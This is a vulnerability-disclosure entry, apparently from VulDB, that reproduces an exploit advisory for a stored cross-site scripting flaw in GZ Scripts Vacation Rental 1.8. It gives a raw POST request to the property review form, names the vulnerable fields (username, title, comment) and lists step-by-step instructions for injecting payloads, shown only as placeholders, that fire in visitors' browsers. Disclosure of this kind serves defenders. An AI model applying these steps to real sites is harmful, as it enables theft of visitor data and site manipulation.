提交 #176269: Vacation Rental 1.8 - Stored XSS

# Exploit Title: Vacation Rental 1.8 - Stored XSS
# Date: 30/06/2023
# Exploit Author: skalvin aka (CraCkEr)
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/vacation-rental-website.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site

Release Notes:

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.

## Stored XSS

------------------------------------------------------------
POST /VacationRentalWebsite/property/8/ad-has-principes/ HTTP/1.1

property_id=8&action=detail&send_review=1&cleanliness=0%3B4.2&comfort=0%3B4.2&location=0%3B4.2&service=0%3B4.2&sleep=0%3B4.2&price=0%3B4.2&username=[XSS Payload]&evaluation=3&title=[XSS Payload]&comment=[XSS Payload]&captcha=lbhkyj
------------------------------------------------------------

POST parameter 'username' is vulnerable to XSS
POST parameter 'title' is vulnerable to XSS
POST parameter 'comment' is vulnerable to XSS

## Steps to Reproduce:

1. Surf (as Guest) - Go to any Listed Property
2. Go to [Customer Reviews] on this Path (http://website/property/[Number1-9]/[name-of-Property]/#customerReviews)
3. Inject your [XSS Payload] in "Username"
4. Inject your [XSS Payload] in "Title"
5. Inject your [XSS Payload] in "Comment"
6. Submit

7. XSS Fired on Local Browser

8. XSS will Fire & Execute on Visitor's Browser when they visit the page of Property you [Inject] the XSS Payloads in & XSS will Fire also on the [Reviews Page]

Note: I think Administration Panel missing a section to Manage [Reviews] on the website
this feature must be added in next Updates [View/Edit/Delete]

[-] Done

• 用户: skalvin (UID 49463)
• 提交: 2023-06-30 21時07分 (3 年前)
• 管理: 2023-07-12 18時12分 (12 days later)
• 状态: 已接受
• VulDB条目: 233888 [GZ Scripts Vacation Rental Website 1.8 HTTP POST Request ad-has-principes username/title/comment 跨网站脚本]
• 积分: 17